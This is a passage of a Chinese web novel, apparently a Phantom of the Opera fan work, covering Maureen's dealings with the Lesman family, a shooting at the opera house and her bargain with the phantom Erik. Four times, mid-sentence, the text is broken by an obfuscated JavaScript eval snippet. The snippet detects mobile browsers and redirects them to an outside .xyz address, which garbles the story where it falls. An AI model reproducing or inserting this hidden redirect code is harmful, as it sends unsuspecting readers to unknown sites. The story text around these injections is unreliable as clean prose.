能让一位穿着端庄的女士失态，在主人家后花园里席地哭泣的可不是简单的意外。莫琳示意奥斯顿先行回避，自己则打算上前问候几句。 离她仅有两三步的时候，莫琳才认出这位女士的身份。 ——这不就是刚才闹了两位莱斯曼笑话的沙托夫人吗？ “沙托夫人？” 莫琳蹲下和她平视，递过去一块手帕。 也许是哭得太过忘我，对方竟然过了好久才发现自己面前蹲了一个人。 “莫琳小姐”。 好一会儿，她终于抬起头，接过手帕，泄愤似的在自己的脸上胡乱擦了一把。 这回她没有再称呼她为莱斯曼了。 莫琳注意到，她的发丝凌乱，眼睛通红，早已不复刚才在宴席上的神采奕奕，像是完全换了一个人。那副蕾丝手套，刚才她就是戴着这副手套和自己握手的。现在上面上留下了一道长长的豁口，不像是被碎玻璃划开的，反而更像是因为拉扯而被人为撕裂的。 “你受伤了”，莫琳说。 她没有继续问动手的人是谁，这对沙托夫人来说也毫无意义。 然而可以肯定的是，对方的地位一定在她之上，甚至在她的丈夫之上——因为她的丈夫也没有为她出头的意思，这才会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018827|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造成现在的局面。 “需要我找人送你回去吗？”见她逐渐平静下来，莫琳问道。 恰巧奥斯顿在这里，他从不多嘴，是个合适的人选。 “不，不......”, 沙托夫人小声抽噎着，说：“不用劳烦您，是我自己不好。” “我没有想到巴黎是这样的......我，我本来特别高兴能来这儿，我们好不容易才来到这儿的......可我，我现在恐怕只能想一件事，我现在好想回家。” 她语无伦次，着急表达自己，却又模糊其词，大概是不想让莫琳知道刚才发生的细节。 “我不知道前面发生了什么，您也不必和我说，我只作为一个路过的，恰好认识您的人而已”，莫琳说：“您也看见了，我的随从在不远处，如果需要，他可以送您回去。” “莫琳小姐”，沙托夫人突然抬起头，睁着哭肿的双眼问：“您觉得我可笑吗？” “我当然不这么觉得。” 沙托夫人的抽泣声渐渐大了起来。 “可那里面的人！他们都像是看笑话一样地看我！”，她忍不住抽噎道：“我不知道我做错了什么。我的丈夫要我和阿梅莉小姐搞好关系，可我弄砸了；那群夫人们说很愿意邀请我去她们的庄园里喝下午茶，却转过身就对我避之不及，好像我是什么瘟疫那样。” “这场宴会上，真心愿意和我说话的除了您以外，恐怕就只有侍应了。” “您不必将这些放在心上”，莫琳宽慰她：“这再正常不过了，您也知道大家为了什么而来，就和您一样。” “不！我怎么能不放在心上！”沙托夫人说。 “即使其他人我不在意，可他是我的丈夫！连他都没有帮我说话。” 提到自己的丈夫，她终于无法再抑制内心深处汹涌而出的委屈，于是一股脑儿地将所有事情都说了出来：“我以为这会是个好机会让莱斯曼小姐和她的未婚夫待着，毕竟他们马上就要结婚了，可莱斯曼先生竟然斥责我多管闲事，还当着众多宾客的面大肆羞辱我是个没规矩的乡妇。” “我哪儿知道未婚夫妻竟然有不能独处的道理。可即使是我做错了，他就站在莱斯曼先生边上，看着他指责我，连一句话也没有说。” “然后呢？” “有人欺负您了吗？” 莫琳盯着她的手。 “哦不......不至于这样。这是我自己弄的。”沙托夫人解释。 “我有些粗心，情急之下弄翻了台上的酒杯，这才把自己弄伤了。” “原来如此。” “也许是他们的确忌讳未婚男女独处”，莫琳安慰她：“阿梅莉第一次参加社交晚宴，您也许是出于好心，这样的安排对于小女孩来说是有些欠妥。而沙托先生只是不好当着众人反驳而已，并不是没有顾及您的面子”。 虽然莫琳嘴上这么说，但她实际上也和沙托夫人一样不理解自己这位舅舅的举动。 在她的观察下，他似乎不是个容易当众翻脸，并且喜欢迁怒于女人的性格。 更何况，这样严重的斥责通常不会发生在公众的宴席上。对于巴黎的贵族来说，即使他们不喜欢某个人，甚至是瞧不上她/他，通常也不会当着大家的面表现出来。 那么是什么值得他这样大发雷霆呢？她并不相信只是因为沙托夫人这样一个“友善”的提议。 她认为，在此之前，一定有什么更为重要的事情被她们所遗漏了。 24. 陷阱 莫琳的猜想没有错，并且很快就在晚宴之后得到了验证。 如果让她知道晚宴后发生了什么，她恐怕也会和沙托夫人一起咒骂莱斯曼先生。即使她知道她这位舅舅不是什么好人，她也没料到他竟然将生意做到了自己亲生女儿的头上。 罗什舒亚尔家的晚宴最终还是将阿梅莉带到了侯爵的面前。 很不幸，她的联姻对象并不是他的长子，而是侯爵本人。 得知这个消息后，阿梅莉差点在自己的父亲面前拿着餐刀威胁要自尽。可是莱斯曼先生早就下定决心了，他的贵族头衔遭到动摇，市政厅里针对他的异声越来越多，他必须要和罗什舒亚尔家结盟来稳固地位。而最为稳固的结盟方式就是联姻，阿梅莉是他唯一的女儿，在这个问题上他别无选择。 “你敢想象吗？父亲竟然想让我当那个孩子的继母！上帝啊，我只比他的女儿大五岁！”阿梅莉和自己的侍女哭诉道。因为连夜难眠，她的眼睛里已经爬上了可怖的血丝。 “那只是个女孩而已。如果小姐能抓紧时间生下孩子，依旧会得到一笔可观的财产。” 侍女以为她在乎的是继承人选的问题，连忙安慰她：“那位子爵并不是已故罗什舒亚尔夫人的孩子，多半是侯爵半路领回家的私生子，先生正是弄清楚了这一点才要阻止您嫁给他。可小姐未来的孩子却不一样，他会是名正言顺的继承人”。 阿梅莉听不见侍女的劝慰，她在乎的根本不是这些。 她无法接受自己的丈夫突然从年轻英俊的子爵换成了人老体衰的侯爵，她一想到宴会上看到的那人遍布皱纹的干瘪的面孔，她就止不住地干呕。 “我不会！我死也不会嫁给他的！”阿梅莉忿恨地攥着帕子，背后的束腰勒得很紧，却不如父亲的那句话更让她喘不过气来。 她忽然想到舞会上莫琳说的话。 “莫琳，莫琳不是想要赞助人吗？！她去嫁给侯爵不就行了？！我看蒙特克里斯托公爵那儿根本轮不到她露面，可如果换做她嫁去罗什舒亚尔家，她歌剧院的问题不就迎刃而解了吗？” “小姐”，侍女提醒她： “那位莫琳小姐并不能算作真正的莱斯曼，她的父亲还活着。” 侍女说得含蓄。其实她的意思是，莫琳身世复杂，如果换作她，先不提莱斯曼先生能不能像原定的那样从侯爵手上获得好处，罗什舒亚尔家也不一定会接受她成为新的女主人。 即使她真的能够嫁进罗什舒亚尔家，作为血脉相连的姐妹，阿梅莉也不会有机会和子爵联姻了。 可阿梅莉此刻已经被恨意冲昏了头脑，她丝毫不顾及莫琳是什么样的人，又是什么样的出身了，她只顾着要把自己从这场骗局中摘出来。 “那就让她变成真正的莱斯曼！”，阿梅莉咬牙切齿地说。 阿梅莉是个固执的女孩。为了挽救未来幻想当中的完美婚姻，她为此做了许多事情，如果让她的哥哥知道，一定会骂她愚蠢。 她先是用匿名的信件给侯爵寄去了歌剧院最新的票，然后又从父亲办公室里偷来家族印章，仿造莱斯曼先生的口吻给报社写了一封信，内容是希望向巴黎社交界正式宣告和承认莫琳的身份。 这么做的风险很大。 直到在信末盖上印章的那一刻，阿梅莉都无法克制住自己颤抖的手。她人生的十八年里还从来没有勇气做出如此出格的事情，但她却并不为此后悔。 报社能够帮助做实莫琳的身份，而那张新的演出门票则能够让侯爵爱上她。阿梅莉的想法很简单，只要为莫琳抹除了前路的障碍，她是那么聪明的人，一定会抓住一切可为自己所用的机会。 “你会帮助我走出这个泥潭的。” 阿梅莉在心里对莫琳说。 今天是克莉丝汀·戴也小姐在歌剧院的最后一场演出。 即使莫琳提前封锁了她要离开的消息，也抵挡不住《晨报》散播之快，成千上万的观众慕名而来，只是为了看看传闻中戴也小姐的真容是否如同报纸上的那般惊艳。 不过还远不于此，更为夺人眼球的是《晨报》上刊登的另一则消息——关于莱斯曼家族正式承认巴黎歌剧院这位新经理身份的声明，以至于戴也小姐的光芒在这场演出的对比下竟然也略略逊色了一些。 就连莫琳本人在得知这件事之后，也丝毫找不到头绪。她想象不到这件事的得益人除了她自己以外还会有谁，莱斯曼？不可能，他巴不得和歌剧院撇清关系；那个幽灵？自从克莉丝汀和子爵的订婚消息传出后，那个幽灵就彻底地销声匿迹了，莫琳已经有段时间没见过他，她又怎么会腾得出手来做这样一件不留名的好事？ 可虽然不知道背后推波助澜的人是谁，事实却是莫琳乐见其成的。场票一下子供不应求，甚至催生出了反手售卖高价票的贩子行业，以至于她不得不临时再分派了两名纠察员下去维护秩序。 在前往五号包厢的路上，她心中是忐忑的。 今天晚上的观众相较起首演那日只多不少，虽然这里有一大部分是来看她本人和克莉丝汀的热闹的，但一定同样有人注意到男高音的改变，如果能让她的男首席再借用一次那个幽灵的歌喉，如果有这种可能的话...... 来五号包厢，是她想要碰碰运气。 路上有不少有头有脸的人物和她打招呼，罗什舒亚尔侯爵也在其中。 他们不久前才参加过同一场晚宴，只不过莫琳那时候算不上是什么重要人物，没有在侯爵面前露过脸，所以，这对于对方来说还是第一面。 “莫琳小姐”，他和她点头致意。 “罗什舒亚尔侯爵”，莫琳瞟了一眼他手上的请柬，回以标志的笑容：“您能来真是歌剧院的荣幸，不介意的话，不如由我亲自为您领席”。 如果她没记错的话，他?手上的包厢位置原本属于莱斯曼家族。 “当然。” 莫琳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018828|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过他的请柬，主动走在窄窄回廊的前面。 “您受谁的邀请来呢？”莫琳问。 她实在好奇，这个位置是怎么到了他的手上。如果不是莱斯曼主动让出了这个包厢，罗什舒亚尔不可能会出现在这里。 “当然是慕名而来，”对方没有回答： “听说克莉丝汀小姐的嗓音举世难寻，莫琳小姐对于剧目的改编更是出彩，就连我这样的人也迫不及待要见识一番这位被大家盛赞的奥菲莉亚了。” “不过，直到我到了这儿，我才知道大家为什么都愿意为这里短短的几个钟头而豪掷千金了，”他话锋一转，浑浊的目光黏糊糊地爬行在莫琳的脸上。 “从来没有人告诉我莫琳小姐是如此难得的美人”。 “怪不得莱斯曼家要将你藏起来。” “我从来没被谁藏起来过，”莫琳对他直白的注视感到十分不舒服，她加快了前往包厢的步伐，只想把这位侯爵甩掉：“假如有的话，那一定是您的错觉”。 “看来我以后应该常来歌剧院坐坐”，罗什舒亚尔侯爵无视了她的躲避，他亦步亦趋地跟着她，丝毫不在乎周围人投来的目光。 为莱斯曼预留的包厢就在眼前，莫琳不想再费口舌，于是急匆匆地打开门，在说完“祝您有个愉快的夜晚”后转头就走了。只不过几句话的时间，她已经能确认这位侯爵的本性是什么了，她不想和这样的人有过多的纠缠，她还赶着要去五号包厢。 在走去五号包厢的路上，她甚至还从自己内心深处找出了一丝可疑的期待。 就连那位相貌可怖的幽灵也要比这位老侯爵要来得让她愿意接近。 莫琳忍不住为两天前才刚刚挽着手说话的阿梅莉小姐感到遗憾 ——她竟然要嫁给这样的人生出的儿子。 这时候她还无从得知，自己的将来要比她更为凄惨。 “咔嗒” 五号包厢的门顺利地被打开。 不出所料，里面空无一人。 莫琳独自走进去，在确认没有任何幽灵的踪迹后轻轻叹了口气。 他果然没有出现，他大概始终无法从克里斯托和子爵订婚的阴影中走出来，于是连他最无法抛弃的歌剧也要放弃了。 对于那个幽灵来说，克莉丝汀也许就是他唯一愿意面对现实世界的勇气。 她一个人在那张铺着红丝绒的矮几边踱步了一会儿，又在软凳上安静地坐了片刻。 她突然想看看五号包厢到底有什么特殊的魅力，能让这个幽灵如此钟情，以至于在每一任经理的恐吓信上都要注明五号包厢的所有权。 莫琳俯到观演台边的栏杆上，忽然发现了一些不同寻常的事情。 ——这个视角恰巧能看见剧院的全局，包括演员的候场休息室，包括台下穿梭的领席员，包括大半观众，同样也包括自己的位置。 原来她比她自己想像得还要更早进入他的视野。 25. 枪声 在此之前，莱斯曼府邸的地下室。 “父亲，已经调查清楚。五号包厢是歌剧院的私留地，五年前开始就停止对外售票，据传言，所有者是...”，他停顿几秒，没有继续向下说。 “是什么？” 昆西没有回答，而是示意随从递上马鞭。 他身后的火刑柱上绑了一个人，虽然衣着还算整齐，但神色却十分痛苦。 他的头发像是一团海草那样湿答答地缠绕在脑袋上，五官皱成一团，裸露在外的皮肤全都被水泡得泛白起皱，本来突出的眼睛此刻紧闭着，鼻子底下挂着泡沫。 如果诸位还能想起在通往黑湖的那间密室，那么大概会认出他熟悉的脸。 他是那个幸存下来的布莱克，老沃特指派给莫琳的四位工人之一。 “你来说。”昆西用马鞭的手柄点了点他。 他不再副那日莫琳所见到的羞涩少年模样，眼神里的狠戾浑然是个老成的杀手。 那人缓慢地翻开眼皮，等看见端坐在面前的莫里斯后，狰狞地笑了起来： “莱斯曼，果然是莱斯曼！”他疯了般地嘶吼道：“我说！如果你们要对付的是那个女人，我早会把一切都说出来！你们大可不必用这种审犯人的手段来对付我！” “那个女人？” “你或许还没有看过最新的《晨报》，莫琳小姐已经变成真正的莱斯曼了，连我都不得不承认她厉害的手段。你能不能告诉我，她究竟是怎么做到的？” “你在说什么？” 布莱克听得云里雾里，他讨厌极了这些贵族们七弯八绕的说话方式。那个女经理做了什么他根本不在乎，可这些人为什么非得缠上他呢？ “我只是想要钱！”他往地上吐了一口带着粉红色泡沫的血痰，讽刺地看着面前两个衣冠楚楚的“假绅士”，说：“从你们莱斯曼家堆成金山的财宝库里拿出一个金币而已！你们却宁愿杀了我！” “是那个幽灵偷走了我的印章？还是你们之中还有其他的帮手？！” 莫里斯继续逼问。 在他得知《晨报》上最新布告的内容时，一切都已经晚了。 带着这个重磅消息的报纸已经被印刷分发到了街头，即使他想阻止也来不及。他不得不就这么接受莱斯曼家族的新成员，他这位诡计多端的侄女。 可即使他无法直接审判到莫琳头上，她手底下的人却是一个也不会逃得了的。 一定有人在帮她做这些事。还有那个将他带走，只留下一封威胁信的神秘人，他们极有可能就是串通好的！ “我不知道你在说什么！”布莱克痛苦地挣扎道。 他的话并没有激起任何涟漪。 莫里斯嫌恶地看了他一眼，皱了皱眉，边上的侍从便低着头将他重新从火刑柱上解绑，带到了主人家镀金的刻花浴池边上。 两个侍从压着他的肩膀，将他整个人往冰冷的水中摁下去。 聒噪声消失了。代替的是死一般的寂静，房间里只剩下布莱克为了挣扎着呼吸而在水中留下的一连串气泡。 “我说，我什么都告诉你们！”在一个濒死的喘息中，布莱克急促地说。 “你们要找的是个幽灵！” 他从水中被人拽起来，浑身往下淌着水，最终颤抖着嘴唇吐出几个字： “你们不可能找到他。” “就算你们真到找到他了，也没有人能活着从那个幽灵手底下逃出来，即使是莱斯曼也一样。” ——“嗬” 听到他的话，莫里斯从嗓子里发出一声诡异的笑，就好像面前的人刚和他做了什么鬼把戏似的。 “幽灵？那就让它来试一试。” 他对昆西说： “安排狙击手，我要在今晚见到那东西的脑袋。” 莫琳没在五号包厢见到那个幽灵，但她直觉今晚会发生什么不一样的事情。 一直到她从五号包厢回来，一直到演出开始前，她的心脏都像是被人紧紧拽在了掌心里，在狭小的胸腔里焦虑地跳动着，连带着她整个人也变得不安了起来。可令她最为焦虑的是，她明知道会发生什么事情，却无法为此做出任何准备的应对方案。 她的恐慌持续着，直到剧院大幕拉开。 演员们按照计划鱼贯上场。每一步，每个定点，芭蕾舞演员脚尖绷直的弧度，男高音胸前铄铄发光的绶带，每个画面都和预想中重叠。 那个幽灵去了哪里？他是否放弃了克莉丝汀？ 莱斯曼没有出现再正常不过了，可她为什么在观众席上瞧见了昆西的身影？ 这幅穿插重叠的胶片像是在许多年前上演过，莫琳本该清楚地记得下一幕的画面，却偏偏在这时候失去了最重要的记忆。又或者那记忆遭到了入侵者的更改。 “经理！”，梅根冲进了她的包厢。 克莉丝汀刚刚唱到犹太女与情人私奔的桥段，因为动情，她的面颊上挂着两滴晶莹的泪珠。 “有一位议员在我们的观众席上失踪了！” “经理！”负责吊索的新修理工紧随其后：“我们的拉幕坏了！” 不对，还是不对，还是有什么她遗忘的地方。 莫琳没有回应他们，她明知道自己该做什么，但又觉得做什么都无法改变关键。 ——“砰！砰砰！！” 三声枪响。 缺陷的拼图终于完整，枪声和记忆中的塌陷重合，莫琳终于停止了寻找，一切都对上了号。 舞台上扮演男佣角色的演员突然改变了自己原定的轨迹。在众目睽睽之下，他从靴筒里掏出一把□□，对着观众席按动了扳机。 一时间观众席上爆发了剧烈的骚动。 人们惊慌失措，嘈杂，喧闹改过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018829|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了乐声。大家急忙相互确认是否有人受伤。原先高耸的，黑压压的头颅瞬间低了一片下去，许多仆从聚集到主人的座位边上替他们竖起肉墙。 可那枪对准的并不是他们。过不了多久，这些人就会发现他们周围并没有发生流血事件。如果有人从行凶者的视角望过去，就会发现他根本不可能是原来那个演员了，他甚至不需要目镜就能牢牢抓住几十米开外的目标，而目标的终点是五号包厢里的人。 “抓住他！”观众席上传出突兀的喊声。 没人知道他喊的是谁，也没人知道他是喊给谁听的。 但这话传到莫琳耳朵里却无异于她混沌梦境中的一道惊雷。 她彻底醒了。 “别跟着我！”，她推开挡在门口的梅根和修理工，直奔五号包厢而去。 当门打开的时候，她知道她猜对了。 那个幽灵此刻就在包厢里。 他的手正按在自己肩胛的位置，深色的斗篷上隐隐渗透出血迹。但他的眼睛却丝毫不像一个刚刚中弹者的眼睛，它沉静得像是一片暗藏汹涌的湖泊。 可莫琳没有时间分辨，她的注意力集中在舞台上。 行凶者的眼睛注视着她，枪口却对准了另一个方位。他再次按动板机。 ——“躲开！” 莫琳忘记了思考，使出浑身力气将边上的男人推了出去。 也许是她太急，也许是突如其来的力道真的有如此之大，男人竟然真的被她推了个踉跄。只是这么几英寸而已，就使得他从原定的轨道上偏离了。子弹穿透了他们身后的包厢门，留下一个骇人的弹孔。 埃里克往后瞥了一眼。 如果不是她，那个弹孔将留在自己的胸口上。 当然了，这原本不在他周密的计划之内。他的确计划要让中弹身亡的‘埃里克’出现在公众视野里，但还远远没有准备好去迎接他本人的死亡。 莫琳的出现打乱了这一切。 埃里克皱了皱眉。 他的肩胛骨被打穿，伤口还在潺潺流出血，可他此刻却像是感受不到任何疼痛一样站了起来。相反地，莫琳脸上所展露出的痛苦会让人以为她才是受伤的那一个。 他居高临下地看着半蹲在地上的莫琳——她正扶着自己的膝盖喘气。 方才惊险的一幕使她的心脏供血不足，以至于现在亟需大量的氧气才能恢复平静。埃里克久久凝视着女人散乱的长发，还有她刚才用来推开自己的那一只手。他感到自己的原先坚如磐石的信念被她的长发所缴紧，细丝缠入他的心脏，用最柔弱的手段捏住了命脉，他的心似乎正一寸寸地瓦解。 他很少在一件事情上找不到理由。埃里克一直相信，任何反常的事件背后都有可以印证的逻辑存在，可他却想不出莫琳这么做的原因。 而这种情况已经不是第一次发生在莫琳的身上了。 26.意外 门外很快响起皮革和武器摩擦的声音，那是警察署的人赶过来了。 埃里克一把扯掉包厢的隔帘，后边的活板门随之轻轻响了一下，两人就到了另一个地方。 一阵天旋地转之后，莫琳牢牢地捂住了嘴，遏制住自己想要呕吐的冲动。周围的景象开始逐渐变得熟悉，在一幅画像被掀开后，她认出来那幅挂在自己卧室里的奥弗涅绒绣毯。这个胆大包天的幽灵竟然将她带回了夏朗顿路的公寓——她不知道他是什么时候建成了这里的密道。 “为什么这么做？” “你知道会有人来杀你？” 两人同时开口，空荡的卧房里落针可闻。 演出开始的时候就已经入夜，此时的晚霞恰巧天际透过窗户斜斜的倾倒进一角，泼洒在幽灵渗血的肩胛，还有莫琳灰扑扑的脸颊上。 他们各自有各自的疑问，谁也不想做那个计划之外的人。 “我以为我死在歌剧院会更让你开心？” “当然不。谁会想让自己的剧院变成谋杀现场？虽然它已经是了。但我还是会介意再多上几件这类事故的。”莫琳硬撑着回答。 “谁还会愿意光顾歌剧院？在一位观众被射杀之后？” 片刻沉默后，埃里克还是率先解答了她的疑惑。 “他能找到我，说明他还算是个有脑子的人。” “既让歌剧院名声扫地，又解决了我这个潜在的嫌疑人，多么绝妙的计划。如果不是知道他昏迷时那副窝囊模样，我大概都要为他鼓掌了。” 莫琳皱眉：“你说的是莱斯曼？” “我以为你会更聪明一些。” “你的说辞并不可信。既然射杀已经发生，没有人会在乎包厢里究竟有没有人死掉。如果让那些人知道死掉的是那个萦魂不散的幽灵，他们得为此叫好才对。这理由太拙劣可笑了。” 莫琳没有相信他的话，而埃里克却也没有相信她的。 他不喜欢这种逻辑之外的意外行为，更不喜欢这种行为发生在自己身上。于是他起身走到莫琳面前，一只手掐住她的下巴，强迫她与自己对视，这是他惯用的逼迫别人吐露真相的手段。莫琳在黑湖就见识过。 “告诉我，你这么做的真正原因。” “我不会任由你把歌剧院变成自己表演的场地。” 片刻之后，莫琳终于从牙缝里挤出了这句话。 她原先并没有打算将这句话说出口的，她担心这会激怒他，而事实也正是如此。她能够看到他那双骇人的眼睛逐渐变得炙烫灼人，像要把她活生生吞灭一样。可她顾不上那么多了，她一股脑地将自己所有的想法都说了出来。 “有一位议员消失了，就在凶手开枪之前。” “我很好奇，谁能够在众目睽睽之下把他带走？这个人的本事可不小，只不过他的风头全被那个当中开枪的凶手夺过去了。” “等大家从这场混乱中回过神来，就会发现他们尊敬的议员消失在了观众席上，只留下一个作祟的幽灵的尸体作为解释。” “这和歌剧院没有关系”。埃里克淡淡地瞥了她一眼。 “当然了，这对于你而言是多么绝佳的脱身手段。” “可对于观众们来说，层层的侍卫都失去了意义，他们不得不在演出的间隙里关心自己的生命安全，警惕台上是否会突然出现一把对准自己心脏的武器。而等时间再久一些，那位议员的身份也会水落石出，到时候你又要怎么告诉我你和圣马赛的关系呢？” 提到圣马赛，埃里克的动作停滞了一瞬。他知道莫琳已经明白了这一切。 他非但没有看错她，甚至她比他想象得还要聪明。 莫琳虽然说得隐晦，但方向一点儿也没错。这位失踪的议员正是圣马赛地区的时任治理官员，是埃里克费劲心思要除掉的人，为的就是给他所看好的安托万先生让路。如果再往回看一看埃里克在市政厅所做的事，以及给莱斯曼先生留下的‘恐吓信’，就不难知道他真正想要下手的地方是哪里。 继续追问细节是只有蠢人才会做的。想也知道莫琳在演出前对自己的观众们做了多么详细的背景调查。这也不是多么出乎意料的事情，毕竟她为了歌剧院的名声，连自己本人也情愿被利用。 “可现在连那个作为解释借口的尸体也不存在了，”埃里克放弃反驳，似笑非笑地看着她，“莱斯曼小姐，别告诉我这就是你想要得到的结果。” 显然不是。 不管是闯进五号包厢，还是把他从原先设定好的轨迹上推离，这都改变不了什么。发生枪击案和议员失踪，这两件事都已成定局。即使揪出凶手来给公众一个答复，也改变不了在场人所蒙受的恐慌，歌剧院受到影响是在所难免的事情。 可莫琳依旧这么做了。她不想做那个被动的人，更不想自己的心血成为别人计划中的牺牲品。 “可我现在是你的救命恩人。” 莫琳盯着埃里克的眼睛。 她依旧坐在地上，随着时间略微恢复气力以后，也没有丝毫要站起来的打算。现在的姿势让她无法与那个幽灵平视，她直直望过去的视野里只有他洇开的血渍，以至于她只能将脖子扭曲到一个极致的角度才能勉强看到对方冷硬的面孔。 可即使这样，她的气势却意外地要比俯视她的人更高出一截。 戏剧性的话题转变不免让这个幽灵笑出了声。 “救命恩人？” “知道这种行为会被外面的人称呼为什么吗？挟恩图报，他们就是这么说的。莱斯曼小姐，我找不出比这更贴切的词语了。救下一个想要去死的人，你难道还妄图从我这里获取什么回报吗？” “你必须帮我！” “歌剧院会被毁了的！”莫琳咬着牙说：“你既留不住克莉丝汀，也不愿意让观众们再度听见昙花一现的男首席，加上议员失踪，演员持枪，再好的剧目不值得他们光顾了”。 “你在乎歌剧院，和我一样。而我已经为它付出了太多，没有能力再承受失去了。我知道你能改变现状，只有你能做得到，所以我才恳求你。” 她说的是恳求。 埃里克想，不是没有人恳求过他，不过那大多发生在生死攸关之际。 他们的嘴脸丑陋极了，有些人会匍匐在他的脚边恳求饶恕，有些人则涕泪俱下用煽情故事替自己换取生路。可他们那一张张表情各异的面孔背后都是藏也藏不住的对他的嫌恶。 埃里克还从来没有见过这样的恳求。 如果不是她后面的那句话，他应该在她第一句提及克莉丝汀时就发怒了。可现在他竟然没有出现一点儿异样的情绪，甚至开始认真思考起她的恳求。没有什么别的原因，只是因为他还是第一次见到比他自己更看重歌剧院的人。她和菲尔曼以及阿尔芒都是如此的不一样。 而莫琳呢？ 即使她知道这乱子是莱斯曼惹出来的，可她也不能真的将账算到他的头上。她的舅舅不仅手握军火，还顶着贵族头衔，绝不是她凭借一己之力可以抗衡的。 可她得找到新的女首席来代替克莉丝汀，必须有新的剧目能够敌过足以今天发生的动乱来留下观众，只有埃里克能替她办到这件事。 她并不在乎什么脸面，哪怕她原先对这个恶魔的仇恨都能将他所居住的那片黑湖给填平。可只要他能将她的歌剧院挽救回来，她愿意放下自己的高傲和尊严。 一个魔鬼而已，倘若歌剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023652|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院被迫宣告破产，那对她而言将是比魔鬼更可怖的事情。 “那位议员不会失踪太久。” 过了一会儿，埃里克开口：“他不会给歌剧院造成麻烦”。 “还有......拉乌尔那家伙不会再出现了，克莉丝汀也许会回来，也许不会。我知道你在寻找新的赞助人，但别指望那个叫做蒙特克里斯托的，和他做生意的代价不小。” 他竟然真的将她的话听了进去。 虽然他依旧没有解决所有的问题，但这无疑已经是一种让步。 “你没有对拉乌尔动手，对吧？” “ ......没有。” “很好，那么我要你手里最新的剧目。” 这两句话的跨度太大，听上去和前文毫无关联。可莫琳就是这样连一点儿铺垫也没做，直截了当地提出了要求。 她的话似乎超过了他的预料，即使戴着面具，她也能看出他的意外之色。 他无非就是在想，她是怎么知道他手上有完成的剧目的？ “这有什么难猜的”，他的表情意外取悦了莫琳。她轻轻哼了一声，说“一个会对歌剧院的排演有浓厚掌控欲的人，怎么可能没有创作的欲望？更何况，在黑湖的时候，我看见了你写字台上的东西。” “那个剧目还没有完成。” 埃里克用警惕的目光看着她，就好像莫琳所虎视眈眈的不是剧本，而是他的什么宝贝。 “可你有写剧目的本事，”莫琳肯定地说： “我要从《塔拉勒》下手，这能帮我将观众们带回来。” 这次埃里克的神色舒缓了一些。 他知道这才是莫琳真正的目的，刚才她和他讨要剧目的那一出不过是试探而已。 “你想重写第三幕的加冕仪式？”埃里克问。 “没错” “多么恰当的题材！现在这时候，除了《塔拉勒》，我想不出更好的演出了。” 《塔拉勒》的确是个好选择，就连埃里克本人也无法挑剔她的计划。只不过莫琳原先在他眼里的形象现在略有颠覆，他没想到这个只想着赚钱的女经理竟然真是对歌剧有所研究的。 “我会如期把改编完的剧目给你，”他最后说。 莫琳很满意他的回答。 她终于站起来，在环顾四周一圈后选定了床帐四周用凸花厚缎制成的窄帘。随着手下一用力，那厚缎就被拉扯着发出了粗哑的撕裂声。 “很好，赞助人的事情我会解决的。只要我们的新剧目顺利进行，一切都会好起来的，”莫琳把粗糙的缎条递到他面前，“我没办法在这时候叫医生来，你用这个包扎吧” 虽然那个幽灵从受伤到现在都没有展露出痛苦的神情，可那些潺潺流出的鲜血却不是假的。如果一直这样下去，她的房间很快会出现一具因失血过多而死亡的尸体。 “这是你的帘帐。” 埃里克眼神古怪，并没有要接下的意思。 他以为她是个爱惜艺术的人，这样的人才会以高雅品味自我标榜，并为了一副绒绣而与他争论高低。可这样的人又怎么会做出撕毁帘帐的行径呢？ “这可不是什么由得你挑剔的时候”，莫琳还以为他是在介意自己用床帘当作止血带，忍不住强调：“留下命才是最重要的”。 这次埃里克接过了。 这位小姐再次曲解了他缄默不言的想法，可他却对此感到一种奇异的快乐。她宁愿毁去艺术也要留下他的性命，认识到这一点后，他无法再对着她的脸撒谎。 可困难的是，埃里克的一生都是在谎言中成长的，他已经不知道脱离谎言的生活该怎么过了。如果不说谎，他又应该如何面对她呢？ 27.绒绣 “这是从哪儿来的？！” 隔天清晨，夏朗顿路十七号公寓门口停了一辆十分不同寻常的马车。 